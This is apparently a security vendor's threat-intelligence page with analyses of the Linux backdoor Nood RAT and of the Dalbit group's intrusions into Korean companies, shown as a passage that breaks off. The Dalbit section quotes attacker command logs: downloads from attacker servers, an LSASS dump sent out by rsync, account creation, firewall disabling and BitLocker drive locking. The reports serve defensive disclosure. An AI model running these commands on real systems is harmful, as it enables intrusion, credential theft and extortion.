240116 HK pki.rar /usr/bin/ssh b.niupilao[.]vip:80;|1;1;1;1;1;1;1;|00-24;|1 231028 PH x.uu [kworker/0:0] update.kworker[.]net:443;check.snapupdate[.]org:80;| 1;1;1;1;1;1;1;|00-24;|1 231027 CN nginx /usr/bin/ssh 42.51.40[.]184:56;|1;1;1;1;1;1;1;|00-24;|1 230907 RU MFWzS4YNXpQd [kworker/2:0] 13.214.222[.]35:443;|1;1;1;1;1;1;1;|00-24;|1 221013 HK hsperf kworker cloud.awsxtd[.]com:443;|1;1;1;1;1;1;1;|00-24;|3 220911 RU adyagent /usr/bin/ssh 43.140.251[.]218:8080;|1;1;1;1;1;1;1;|00-24;|1 220726 CN update /usr/bin/ssh 101.42.139[.]110:8443;101.42.139[.]110:53;| 1;1;1;1;1;1;1;|00-24;|1 220113 CN update /usr/bin/ssh 81.68.143[.]132:1234;81.68.143[.]132:8080;| 1;1;1;1;1;1;1;|00-24;|1 211213 VN bo /usr/bin/ssh bo.appleupcheck[.]com:443; |1;1;1;1;1;1;1;|00-24;|1 210921 PK N/A /usr/sbin/xfs_srv 194.36.191[.]75:443;|1;1;1;1;1;1;1;|00-24;|1 210601 CN titan.bin /usr/bin/ssh 1.117.165[.]141:53;1.117.165[.]141:53;| 1;1;1;1;1;1;1;|00-24;|1 210403 CN N/A /sbin/auditd 23.100.88[.]61:53;|1;1;1;1;1;1;1;|00-24;|10 表4. Nood RAT マルウェア 4. 結論 Gh0st RAT は、Windows システムを対象として活発に使用されているマルウェアだが、公開されたソースコードベースで製作された Linux バージョンの Gh0st RAT もまた、様々な攻撃者によって持続的に使用されてきた。Gh0st RAT 変種の内、製作者が Nood という名付けた Linux バージョンのマルウェアは、最近までも様々な国で収集されている。 Nood RAT は、C&C サーバーからコマンドを受け取り、不正なファイルのダウンロード、システム内部ファイルの窃取、コマンド実行などの機能を実行できるバックドアマルウェアである。簡単な形態だが、ネットワークパケット検知を回避するため、暗号化を使用しており、攻撃者のコマンドを受けて様々な不正な振る舞いを実行することができる。 このようなセキュリティ脅威を防止するためには、脆弱な環境設定や認証情報をチェックし、関連システムを常に最新バージョンにアップデートして攻撃から保護する必要がある。また、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前にブロックできるように注意を払わなければならない。 ファイル検知 – Linux/Agent.86208 (2029.01.08.00) – Backdoor/Linux.Rekoobe.86144 (2022.06.15.00) – Backdoor/Linux.Rekoobe.86176 (2022.06.15.00) – Backdoor/Linux.Rekoobe.83264 (2022.06.15.00) IoC MD5 – 035f83018cf96f5e1f6817ccd39fc0b6 – b4910e998cf58da452f8151b71c868cb – 4f3afdcfff8f7994b7d3d3fbaa6858b4 – a15ebd19cac42b0297858018da62b1be – c440bd814be37fac669567131c4ba996 – 75838e5d481da40db2e235a6d5a222ef – 905c2158fadfe31850766f010e149a0f – 8457f71c6a5fe83bb513d1dfba99271a – 35743db3dc333245ef5b69100721ced9 – 7d631e5b0c78805dd5d440cce788d25b – 0a35e06f53c17ab1c8e18e7e0c0821d8 – 97db3f7676380f0baa3840ed5d5c1767 – d9f00f71efabdfcca7c63d4b0805673c C&C – 43.156.118[.]72:443 – b.niupilao[.]vip:80 – update.kworker[.]net:443 – check.snapupdate[.]org:80 – 42.51.40[.]184:56 – 13.214.222[.]35:443 – cloud.awsxtd[.]com:443 – 43.140.251[.]218:8080 – 101.42.139[.]110:8443 – 101.42.139[.]110:53 – 81.68.143[.]132:1234 – 81.68.143[.]132:8080 – bo.appleupcheck[.]com:443 – 194.36.191[.]75:443 – 1.117.165[.]141:53 – 23.100.88[.]61:53 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

ASEC Analysis of Nood RAT Used in Attacks Against Linux (Gh0st RAT’s Variant) 2024-02-19

원문 보기

AhnLab SEcurity intelligence Center (ASEC) recently discovered that Nood RAT is being used in malware attacks. Nood RAT is a variant of Gh0st RAT that works in Linux. Although the number of Gh0st RAT for Linux is fewer compared to Gh0st RAT for Windows, the cases of Gh0st RAT for Linux are continuously being collected. Nood RAT is categorized as a variant of Gh0st RAT based on the code’s similarity with previous codes from Gh0st RAT [1] . A builder used in the latest developments was found, and it was dubbed Nood RAT, because the author named it Nood. Nood RAT has been used in various vulnerability attacks since 2018. Although no specific cases of vulnerability attacks have been found recently, cases are continuously being discovered according to the VirusTotal website. This article highlights malware strains discovered over the last few years and analyzes them along with the builder. 1. Overview Gh0st RAT is a remote control malware developed by the C. Rufus Security Team of China [2] (This link is only available in Korean.) Because its source code is open to the public, malware authors have been developing various variants using this code, and the threat actors have been utilizing the codes in their attacks to this day. Although the source code is open to the public, the code is mainly used by threat actors who speak Chinese. In the past, ASEC posted an article about the case where Gh0st RAT’s variant Gh0stCringe RAT was distributed to database servers (MS-SQL and MySQL server) [3] and later posted the case where HiddenGh0st—the variant of Gh0st RAT that simultaneously installs a Hidden rootkit—was used in attacks on MS-SQL servers. [4] Although there may be various Linux versions of the malware strains as the source code is open to the public, the Nood RAT variant discussed in this article was first found around 2018. The oldest record of the malware is the case where it was installed via a WebLogic vulnerability (CVE-2017-10271) attack [5] , and the case where it was used by the threat actor Rocke to install CoinMiners in their attacks. [6] The malware was also used in the Cloud Snooper APT attack campaign in 2020, where the threat actor installed a backdoor malware in AWS (Amazon.com’s cloud service) servers and hijacked control of the servers. [7] 2. Analysis of Gh0st RAT for Linux Nood RAT is developed using the following builder. The compressed file contains a release note, a builder program “NoodMaker.exe”, and a “Nood.exe” which is used to control the backdoor. During the creation of NoodMaker, the threat actor can create x86 or x64 binary based on the architecture and choose and use the binary that fits the target system. Figure 1. Nood RAT builder (A Linux version of Gh0st RAT) Nood RAT has a feature that changes its name in order to disguise itself as a legitimate program. The threat actor is able to decide the malware’s fake process name during the development stage. When the malware is launched for the first time it uses the RC4 algorithm to decrypt the encrypted data. The string decrypted here is the name of the process to be changed. Additionally, the configuration data is also encrypted using the RC4 algorithm, and the RC4 key used in the decryption process is the string “r0st@#$”. Note that in Socks proxy and port forwarding communication, the string “VMware#@!Station” is used instead. Figure 2. The feature that changes the process name After changing its process name, said malware copies and pastes itself into the “/tmp/CCCCCCCC” path, runs it, and deletes the copied file “/tmp/CCCCCCCC.” As such, the running malware takes the form of an executed file “/tmp/CCCCCCCC,” but the file does not exist and the malware is shown as a legitimate process with a fake process name. Figure 3. The changed process name Afterward, the malware decrypts the configuration data which is largely divided into C&C server addresses, date and time of activation, and C&C connection attempt intervals. The threat actor can set the activation date and time at which said malware can communicate with the C&C server and receive commands. Configuration Data Format : “C&C_Server_1″;”C&C_Server_2″|”Mon”;”Tue”;”Wed”;”Thu”;”Fri”;”Sat”;”Sun”;|”Time”;|”Interval” Figure 4. Builder and configuration data When connecting to the C&C server for the first time, Gh0st RAT obtains basic information about the infected system and sends the data. The sent data is encrypted using the RC4 algorithm, and because the key used in the encryption is created based on the current time, it can bypass network packet-based detection. Offset Size Data 0x0000 0x0018 “Key Type 2” (encrypted with Key Type 1) 0x0018 0x0004 “Key Type 1” 0x001C 0x0208 Infected system’s information (encrypted with Key Type 2) Table 1. Data sent to C&C server The first sent data has a size of 0x18 and consists of two hardcoded 4-byte values and four 4-byte values that are created based on the current time. These values are encrypted using the RC4 algorithm and are sent to the server. The keys used to encrypt these values are created using a key called “Key Type 1.” Offset Size Data 0x00 0x04 Created 4-byte key #1 0x04 0x04 Created 4-byte key #2 0x08 0x04 Created 4-byte key #3 0x0C 0x04 0x00009F72 0x10 0x04 Created 4-byte key #4 0x14 0x04 0x000002E9 Table 2. Encrypted key data The C&C server is able to use “Key Type 1” to create an RC4 key to decrypt “Key Type 2,” and utilize the RC4 key that was created using “Key Type 2” to decrypt 0x0208-sized data, ultimately obtaining the infected system’s information. Offset Type Data 0x0000 String Login banner string (the file content of “/etc/issue.net” or “/etc/issue”) 0x0100 Flag Whether the login banner string data was obtained (0x01 / 0x00) 0x0101 Flag Whether the keyword x86_64 exists in the “/proc/version” architecture (0x01 / 0x00) 0x0102 String Host name 0x0202 Flag Whether the host name was obtained (0x01 / 0x00) 0x0203 Hex The hexadecimal value of the IP address 0x0207 Flag Whether the IP address was obtained (0x01 / 0x00) Table 3. The infected system’s information sent to the C&C server Figure 5. The infected system’s information shown on the C&C panel Nood RAT largely supports four features which are: remote shell & file management, Socks proxy, and port forwarding. Through this, threat actors can run malicious commands on infected systems or steal information using file upload and download features. Additionally, threat actors can use infected systems as proxies or use the systems during the lateral movement phase via the port forwarding feature. Figure 6. Commands supported by Nood RAT 3. Attack Cases WebLogic vulnerability attacks and Cloud Snooper APT attacks are some of the attacks that used Nood RAT in the past. Nood RAT are still being continuously collected even today, and are also uploaded by the VirusTotal website. Details of attack methods have not yet been uncovered, but it is likely that threat actors are using the malware to control infected systems and steal information from such systems. The following is a table that provides an overview of Nood RATs discovered during the past few years. Date of Collection Country Name Disguised Process Configuration Data 240130 KR AliDunYun /usr/bin/ssh 43.156.118[.]72:443;43.156.118.72:443;| 1;1;1;1;1;1;1;|00-24;|1 240116 HK pki.rar /usr/bin/ssh b.niupilao[.]vip:80;|1;1;1;1;1;1;1;|00-24;|1 231028 PH x.uu [kworker/0:0] update.kworker[.]net:443;check.snapupdate[.]org:80;| 1;1;1;1;1;1;1;|00-24;|1 231027 CN nginx /usr/bin/ssh 42.51.40[.]184:56;|1;1;1;1;1;1;1;|00-24;|1 230907 RU MFWzS4YNXpQd [kworker/2:0] 13.214.222[.]35:443;|1;1;1;1;1;1;1;|00-24;|1 221013 HK hsperf kworker cloud.awsxtd[.]com:443;|1;1;1;1;1;1;1;|00-24;|3 220911 RU adyagent /usr/bin/ssh 43.140.251[.]218:8080;|1;1;1;1;1;1;1;|00-24;|1 220726 CN update /usr/bin/ssh 101.42.139[.]110:8443;101.42.139[.]110:53;| 1;1;1;1;1;1;1;|00-24;|1 220113 CN update /usr/bin/ssh 81.68.143[.]132:1234;81.68.143[.]132:8080;| 1;1;1;1;1;1;1;|00-24;|1 211213 VN bo /usr/bin/ssh bo.appleupcheck[.]com:443; |1;1;1;1;1;1;1;|00-24;|1 210921 PK N/A /usr/sbin/xfs_srv 194.36.191[.]75:443;|1;1;1;1;1;1;1;|00-24;|1 210601 CN titan.bin /usr/bin/ssh 1.117.165[.]141:53;1.117.165[.]141:53;| 1;1;1;1;1;1;1;|00-24;|1 210403 CN N/A /sbin/auditd 23.100.88[.]61:53;|1;1;1;1;1;1;1;|00-24;|10 Table 4. Nood RAT malware 4. Conclusion Various threat actors have been actively using Gh0st RAT to infect not only Windows systems but also its Linux counterpart—developed based on the publicized source code. Among the variants of Gh0st RAT, a Linux variant called Nood continues to be found and collected across nations. Nood RAT is a backdoor malware that can receive commands from the C&C server to perform malicious activities such as downloading malicious files, stealing systems’ internal files, and executing commands. Although simple in form, it is equipped with the encryption feature to avoid network packet detection and can receive commands from threat actors to carry out multiple malicious activities. To prevent such security threats, users must check their vulnerable environment configuration or credentials and always update relevant systems to the latest versions. Also, V3 should be updated to the latest version so that malware infection can be prevented. File Detection – Linux/Agent.86208 (2029.01.08.00) – Backdoor/Linux.Rekoobe.86144 (2022.06.15.00) – Backdoor/Linux.Rekoobe.86176 (2022.06.15.00) – Backdoor/Linux.Rekoobe.83264 (2022.06.15.00) MD5 035f83018cf96f5e1f6817ccd39fc0b6 0a35e06f53c17ab1c8e18e7e0c0821d8 35743db3dc333245ef5b69100721ced9 4f3afdcfff8f7994b7d3d3fbaa6858b4 75838e5d481da40db2e235a6d5a222ef URL http[:]//1[.]117[.]165[.]141[:]53/ http[:]//101[.]42[.]139[.]110[:]53/ http[:]//101[.]42[.]139[.]110[:]8443/ http[:]//23[.]100[.]88[.]61[:]53/ http[:]//42[.]51[.]40[.]184[:]56/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.

ASEC Dalbit (m00nlight): Chinese Hacker Group’s APT Attack Campaign 2023-02-13

원문 보기

0. Overview This report is a continuation of the “Attackers Using FRP (Fast Reverse Proxy) to Attack Korean Companies” post that was uploaded on August 16, 2022 and follows the group’s activities since that post. Attackers Using FRP (Fast Reverse Proxy) to Attack Korean Companies This group has always relied on open-source tools and lacked any distinct characteristics to profile them due to the lack of PDB information. Additionally, the amount of information that could be collected was limited unless the affected Korean companies specifically asked for an investigation since the threat actor’s C2 (Command&Control) server abused the servers of the Korean companies. However, after the post was uploaded and a portion of the Korean company servers used by the threat actor were blocked, the threat actor began to use a hosting server called “*.m00nlight.top” as their C2 and download server. Thus, the ASEC team decided to call this group Dalbit (m00nlight.top) after the Korean word for ‘Moonlight’. This group has had more than 50 confirmed attack attempts on Korean companies since 2022. Most of the attacked companies were mid to small companies while a portion was major companies. The team has confirmed that 30% of the infected companies were using a certain Korean groupware solution. It is currently difficult to check whether this groupware product has a vulnerability or not, but if a server that is this exposed has a vulnerability, then there is a chance that companies could be affected gravely through the leakage of confidential information and ransomware behavior. Furthermore, this Dalbit group leaves some infected companies as proxies and download servers to later use them as means to communicate with the threat actor upon infiltration of another company. Therefore, we strongly recommend performing an internal security check if users suspect that they have been attacked by this Dalbit group. The team asks that users send a report to AhnLab and take preemptive measures to prevent secondary harm and potential damage to other companies. 1. Affected Korean Companies (Industry Type) Listed below are the 50 companies that were confirmed to have been affected since 2022. Companies that have not been clearly confirmed were excluded from this list. It is possible that more companies could have been affected. Figure 1. Industry types of companies that the Dalbit group tried to attack The following are the descriptions of each industry type. Technology: Companies that handle software or hardware Industrial: Manufacturing companies that handle machinery, paint jobs, steel, metals, etc. Chemical: Cosmetic, pharmaceutical, and plastic companies Construction: Associations or organizations related to construction or construction companies Automobile: Automobile-related manufacturing companies Semiconductor: Semiconductor-related manufacturing companies Education: Educational companies Wholesale: Wholesalers Media: Printing and media companies Food: Food companies Shipping: Shipping companies Hospitality: Leisure or tourist accommodation companies Energy: Energy companies Shipbuilding: Shipbuilding companies Consulting: Management consulting companies 2. Flow and Characteristics 2.1. Summary Diagram Figure 2. Summary diagram of Dalbit group’s infiltration process The above diagram shows the threat actor’s infiltration process into Company B. A brief summary of this flow is in the table below. 1) Initial Access The threat actor targets web servers or SQL servers, which they gain access to by exploiting vulnerabilities. They then attempt to control the systems with tools such as WebShell. 2) Command & Control Various hacking tools are downloaded through WebShell. Hacking tools include various binaries such as privilege escalation tools, proxy tools, and network scanning tools. 3) Proxy & Internal Reconnaissance Proxy: The threat actor installs a proxy tool such as FRP (Fast Reverse Proxy) before attempting to connect to 2-1) a hosting server built by the threat actor or 2-2) another previously infected company’s server (Company A) via Remote Desktop (RDP). Internal Reconnaissance: Tools such as network scanning tools and account theft tools are used for internal reconnaissance and obtaining information. 4) Lateral Movement The obtained information is used to move to another connectible server or PC. Afterward, a proxy tool (FRP) is also installed on the PC that has successfully been reached through lateral movement, creating an environment which allows the threat actor to connect via RDP. The required privilege level is then acquired by either adding a specific account or through a credential theft tool like Mimikatz. 5) Impact Ultimately, after the threat actor steals all the information they desire, they use BitLocker to lock certain drives and demand a ransom. Table 1. Explanation of the infiltration summary diagram The following are major characteristics of the Dalbit group. 2.2. Characteristics of Dalbit List Description Threat Actor’s C2 Servers Download and C2 (Command&Control) servers: Korean company or hosting servers Over half of these servers are exploited Korean company servers *.m00nlight.top or IP format addresses are often used for the hosting servers Attempts Control Through RDP Usually attempts to access RDP after infection Either a proxy tool or Gotohttp is used for RDP connection Proxy Tools Major proxy tools used include FRP , LCX (Htran), NPS , ReGeorg , etc. Add User Account A net command is used to add an account Account credentials (ID: “main” / PW: “ff0.123456”) Open-source Tool Mostly uses open-source tools that are publicly available A lot of tools are written in Chinese Evasion VMProtect is used to prevent hacking tools from being detected Security event logs are deleted Extorted Information User account credentials Email information Screen leak Installed program information Table 2. Characteristics of Dalbit 3. Tools Used and Infiltration Process 3.1. Tools and Malware Used WebShell Downloader Privilege Escalation Proxy Internal Reconnaissance Godzilla ASPXSpy AntSword China Chopper Certutil (Windows CMD) Bitsadmin (Windows CMD) BadPotato JuicyPotato SweetPotato RottenPotato EFSPotato CVE-2018-8639 CVE-2019-1458 FRP LCX NPS ReGeorg FScan NbtScan TCPScan Goon Nltest (Windows CMD) Lateral Movement Information Leak and Collection Backdoor File Encryption Evasion RDP PsExec RemCom Winexec Wevtutil (Windows CMD) WMI (Windows CMD) ProcDump Dumpert EML Extractor (created) Mimikatz Rsync CobaltStrike MetaSploit BlueShell Ladon BitLocker (Windows CMD) Security log deletion (Windows CMD) Firewall OFF (Windows CMD) Attempts to delete AV products VMProtect Packing Table 3. Malware and hacking tools used by Dalbit Only one tool for leaking emails seems to have been made by the group themselves. The rest are normal Windows programs or tools that can easily be found online. 3.2. Infiltration Process 3.2.1. Initial Infiltration It is assumed that their attack targets are usually servers with a specific Korean groupware installed on them, email servers (Exchange Server), and SQL servers. The threat actor exploited either file upload vulnerabilities or WebLogic vulnerabilities such as CVE-2017-10271 to upload their WebShell. A portion appeared to have used a SQL server command prompt (xp_cmdshell). The most frequently used WebShells are Godzilla, ASPXSpy, AntSword, and China Chopper in that order. Aside from these, several other WebShells were also found. The installation paths of the WebShells are as follows. – Job recruitment (File upload vulnerability) D:\WEB\********recruit\css\1.ashx D:\WEB\********recruit\css\4.ashx D:\WEB\********recruit\common\conf.aspx .. . – File upload vulnerability D:\UploadData\***********\****_File\Data\Award\1.ashx D:\UploadData\***********\****_File\Data\Award\2.aspx D:\UploadData\***********\****_File\Data\Award\3.aspx D:\**WebService\********\*****Editor\sample\photo_uploader\File\conf.aspx D:\**WebService\********_ThesisSubmission\Include\file.aspx .. . – Certain groupware D:\Web\(Groupware)\cop\1.ashx D:\Web\(Groupware)\app\4.ashx D:\Web\(Groupware)\bbs\4.asmx D:\Web\(Groupware)\erp\tunnel.aspx (ReGeorg) D:\inetpub\(Groupware)\image\2.asmx D:\inetpub\(Groupware)\image\2.aspx C:\(Groupware)\Web\(Groupware)\cop\conf.aspx C:\(Groupware)\Web\(Groupware)\cop\1.ashx C:\(Groupware)\Web\(Groupware)\cop\1.asmx C:\(Groupware)\Web\(Groupware)\cop\1.aspx … – Email server ( Exchange Server ) D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\aa.aspx D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\11.aspx C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_defaultwsdlhelpgenerator.aspx.cdcab7d2.sjx_41yb.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_ldaj2kwn.dll … – Weblogic D:\***\wls1035\domains\************\servers\*******\tmp\************\uddiexplorer\gcx62x\war\modifyregistryhelp.jsp D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\eee.jsp D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\error.jsp D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\123.jsp D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\test.jsp     D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\aaa.jsp … – Tomcat C:\(Tomcat)\webapps\dd\sb.jsp C:\(Tomcat)\webapps\ddd\index.jsp C:\(Tomcat)\webapps\docs\update.jsp C:\(Tomcat)\webapps\tmp\shell.jsp Table 4. Paths where WebShells were uploaded 3.2.2. Download The threat actor downloads other hacking tools through default Windows programs. Since WebShells are normally used in infiltration, parent processes, excluding command processes like cmd, are run by web server processes such as w3wp.exe, java.exe, sqlserver.exe, and tomcat*.exe. The downloaded files include privilege escalation tools, proxy tools, and network scanning tools, all of which are required by the threat actor. The download command is as follows. (Additionally, the full addresses of the Korean companies that have been exploited will not be disclosed.) 1) Certutil > certutil -urlcache -split -f hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip c:\programdata\update.exe (frpc) > certutil -urlcache -split -f hxxp://121.167.***[.]***/temp/8.txt c:\programdata\8.ini (frpc.ini) > certutil  -urlcache -split -f hxxp://103.118.42[.]208:8080/frpc.exe frpc.exe … Table 5. Certutil download log 2) Bitsadmin > bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8080/calc32.exe ” “c:\windows\debug\winh32.exe” (frpc) > bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8001/log.ini ” “c:\windows\debug\log.ini” (frpc.ini) … Table 6. Bitsadmin download log The hacking tools and malware downloaded by the threat actor were usually found in the following paths. %ALLUSERSPROFILE% %SystemDrive%\temp %SystemDrive%\perflogs %SystemDrive%\nia %SystemDrive%\.tmp %SystemRoot% %SystemRoot%\debug %SystemRoot%\temp Table 7. Major directories used by the Dalbit group Therefore, the files in these paths should be checked if users suspect that they have been infiltrated. 3.2.3. Privilege Escalation and Account Addition The threat actor mainly used Potato (BadPotato, JuicyPotato, SweetPotato, RottenPotato, EFSPotato) and PoC (CVE-2018-8639, CVE-2019-1458), which has been published on GitHub, for privilege escalation. After privilege escalation, they characteristically add the following account. The below sp.exe is the SweetPotato tool. > sp.exe “whaomi” (Privilege check) > sp.exe “netsh advfirewall set allprofiles state off” (Firewall OFF) > sp.exe “net user main ff0.123456 /add & net localgroup administrators main /add” (Add account) Table 8. SweetPotato usage log The point of focus here is the name of the account added by the threat actor. Threat actor accounts with the name “main” have been found in other infiltrated company servers. Aside from adding accounts, the threat actor would also use stolen admin accounts. > wmic  /node:127.0.0.1 /user:storadmin /password:r*****1234!@#$  process call create “cmd.exe /c c:\temp\s.bat” Table 9. Admin account execution log 3.2.4. Proxy Settings After infiltrating a server, the threat actor initiates access via proxy to use RDP communications. FRP and LCX were the mainly used proxy tools, and there have been cases where ReGeorg , NPS , or RSOCKS was found in some companies. Additionally, multiple proxy tools including FRP and LCX were found in one area of a certain company that was infiltrated. Multiple FRP configuration files (.ini) would also be discovered in cases where internal propagation had occurred. We believe that the threat actor installs additional FRPs and uses multiple configuration files when an accessible PC has a lot to gain. Furthermore, the LCX used by this group has the same features as the open-source LCX, but its version is not the same as the one uploaded to GitHub, meaning that a binary that was arbitrarily compiled by a Chinese person was used. Proxy tools like FRP and LCX differ in terms of forwarding methods and supported protocols. However, since their differences, actual infection cases, recreation, and network packets have all been covered in the TI report, “Analysis Report on Attack Cases Exploiting Various Remote Control Tools,” they will not be reiterated in this post. 1) FRP(FAST REVERSE PROXY) FRP configuration files (.ini) were found in all servers and PC devices infiltrated by this group. The following is an actual case of an infiltrated company. Figure 3. FRPC configuration file (m00nlight.top) found in an infiltrated company In particular, the Dalbit group usually used the Socks5 protocol to communicate. The Socks5 protocol is a layer 5 protocol in the 7 OSI layers. It can handle various requests such as HTTP, FTP, and RDP since it is between layer 4 and 7. Therefore, if the threat actor uses a proxy connection tool that can handle Socks5, such as Proxifier, remote control through RDP becomes possible. If a connection can be established to an internal PC, lateral movement can also be achieved. Thus, if the configuration file is set as a Socks5 protocol, the threat actor will have more freedom as additional modifications will no longer be required to handle various requests. Figure 4. Example of Socks5 usage The following are FRP filenames and commands used by the threat actor. The list is in a descending order from most to least used. FRP filenames update.exe debug.exe main.exe info.exe Agent.exe frpc.exe test.exe zabbix.exe winh32.exe cmd.exe Table 10. FRP filenames FRP commands > update.exe -c frpc.ini > update.exe -c 8080.ini > update.exe -c 8.ini > info.zip -c frpc__8083.ini > debug.exe -c debug.ini > debug.exe -c debug.log > debug.exe -c debug.txt > frpc.exe -c frpc__2381.ini > cmd.exe /c c:\temp\****\temp\frpc.ini … Table 11. FRP execution log In certain companies, the FRP was registered to the task scheduler (schtasks) under the name “debug” to maintain its persistence. As shown in Table 12, the team confirmed the execution of a registered scheduler. > schtasks  /tn debug /run Table 12. Task scheduler execution log 2) LCX(HTRAN) Dalbit used an LCX (Htran) binary compiled by a certain Chinese person. This has the same features as the existing binary , but it also includes the nickname of the binary creator. Figure 5. Screen that is displayed upon executing the LCX used by the Dalbit group (By 折羽鸿鹄) We can confirm through this that the nickname of the person who had created the binary is “折羽鸿鹄” (QQ:56345566). It is highly unlikely that this developer is the threat actor in question; however, since this binary cannot be downloaded through a simple search online, it is assumed that the threat actor has a connection to China. The installed filenames and executables are as follows: LCX filenames lcx3.exe lcx.exe update.exe Table 13. LCX filenames LCX commands > update.exe -slave 1.246.***.*** 110 127.0.0.1 3389 > lcx3.exe -slave 222.239.***.*** 53 127.0.0.1 3389 … Table 14. LCX command log The above LCX C2 is a Korean company server and has been concealed. 3.2.5. Internal Reconnaissance Fscan and NBTScan have been commonly used for network scans, but the usage of TCP Scan and Goon have also been confirmed for some cases. Goon is a network scanning tool made with Golang that not only allows basic port scanning, but scanning for Tomcat, MSSQL, and MYSQL accounts as well. We can see that this tool was also made in Chinese. Figure 6. Screen that is displayed upon executing Goon 3.2.6. Information Extortion LSASS Dump information and EML files of certain accounts are usually the information that is stolen. It has been confirmed that installed programs are checked through a WMIC command or a screenshot of the affected PC is sent to the threat actor’s server at regular intervals according to the companies. 1) Credential Extraction (LSASS Dump) According to the target, the threat actor would choose to not install Mimikatz and attempt to extract credentials instead. This is a method that dumps the Lsass.exe process. Credential information can be obtained from a PC with tools like Mimikatz or Pypykatz since they can be found within the dump file. Additionally, a detailed explanation of Mimikatz can be found in the TI report, “ Analysis Report on Internal Web Spreading Methods Using Mimikatz “. The following method is how the threat actor stole credentials without Mimikatz. 1-1) Dumpert Open-source Dumpert is an API hooking evasion tool that operates according to the target OS system and uses the MiniDumpWriteDump() API to dump the lsass.exe process. The threat actor modified the code to change the path of the dump file and remove features like log output. Figure 7. Left (open-source Dumpert) vs. right (Dumper used by the Dalbit group) The above figure shows that the two versions are the same aside from the different paths and the removal of the output string. The following table displays all of the “%SystemRoot%\temp” dump file paths that have currently been found. %SystemRoot%\temp\duhgghmpert.dmp %SystemRoot%\temp\dumpert.dmp %SystemRoot%\temp\tarko.dmp %SystemRoot%\temp\lsa.txt … Table 15. Lsass dump file paths 1-2 ) Procdump Procdump is a normal utility program provided by Microsoft and offers the process dump feature. The threat actor performed a dump like the one in Figure 8 with this tool. Figure 8. Output upon executing Procdump Afterward, the threat actor used a tool called Rsync (Remote Sync) to send the dump file to their own server. The following is an actual example of information theft attempted by the threat actor. > svchost.exe -accepteula -ma lsass.exe web_log.dmp > rsync  -avz –port 443 web_log.zip test@205.185.122[.]95::share/web_log.zip Table 16. Procdump execution and rsync usage log 2) Email Extraction Figure 9. Screen displayed upon executing email extraction tool This sample is an email extraction tool developed with Golang and presumably the only known tool developed by the threat actor themselves. This tool offers the ability to target a company’s Exchange email server and extract a specific account’s email with EWS (Exchange Web Service) as an EML file. Arguments include the Exchange server address, account name, NTLM password hash of said account, date and time, etc. When launched, the tool extracts every email from the mailboxes of the target account according to the time received as an argument and saves them as an EML file. For reference, the PDB information of this binary is “fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff”and is meaningless. Figure 10. PDF information of the email extraction tool 3) Screen Leak The threat actor sent screenshots from certain PCs to their own server. While a binary that takes screenshots of the current screen has not been found as of yet, the threat actor’s server where the infected PC’s screenshots were being sent has been discovered. Screenshots from a certain company’s infiltrated PC sent pictures every 5-10 seconds. Outgoing server of threat actor’s screenshots: hxxp://91.217.139[.]117:8080/1.bat Figure 11. Actual PC screenshot sent from a certain affected company Only images were sent. The PC could not be controlled remotely and no audio was outputted either. Also, the threat actor’s server (91.217.139[.]117) where the screenshots were being sent was also being used as a download server for another company. >certutil -urlcache -split -f hxxp://91.217.139[.]117:8080/calc32.exe >certutil -split -urlcache -f hxxp://91.217.139[.]117:8443/log.ini c:\temp >bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8080/calc32.exe ” “c:\windows\debug\winh32.exe” (frpc) >bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8001/log.ini ” “c:\windows\debug\log.ini” (frpc.ini) Table 17. A different log from the threat actor’s server (91.217.139[.]117) 4) Lookup Installed Programs and Login Information The threat actor used a WMIC command to check installed programs. > wmic product get name,version Table 18. How the threat actor looked up installed programs Figure 12. List of installed programs and command example (WMIC) Furthermore, the domain account credentials that caused certain event IDs to occur in the event log were collected. The created file is saved in c:\temp\EvtLogon.dat. Event ID Meaning 4624 Login successful 4768 Kerberos authentication request 4776 NTLM authentication attempt Table 19. Meanings of the event IDs used by the threat actor > wevtutil qe security /q:”Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]” /f:text /rd:true >> c:\temp\EvtLogon.dat Table 20. wevtutil command log 3.2.7. File Encryption Details about this matter have been covered in a past blog post . The threat actor used BitLocker, a Windows utility, to encrypt certain drives and demand ransoms. Currently, more affected companies are still being found. BitLocker commands > “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T > manage-bde  -lock  -ForceDismount F: > manage-bde  -lock  -ForceDismount e: > “c:\windows\system32\bitlockerwizardelev.exe” e:\ t > “c:\windows\system32\bitlockerwizardelev.exe” f:\ u Table 21. BitLocker log Figure 13 is the ransom note used by the threat actor. The threat actor used anonymous mailing services such as startmail.com and onionmail.com. Figure 13. Ransom note that was shown in a previous blog post The command assumed to be for downloading the ransom note is as follows. > certutil -urlcache -split -f hxxp://175.24.32[.]228:8888/readme c:\windows\temp\readme Table 22. Log assumed to display the ransom note being downloaded 3.2.8. Evasion 1) VMPROTECT PACKING When the binary was detected after being uploaded, the threat actor packed it with VMProtect to try and avoid detection. – Privilege escalation tools %ALLUSERSPROFILE%\badpotatonet4.exe 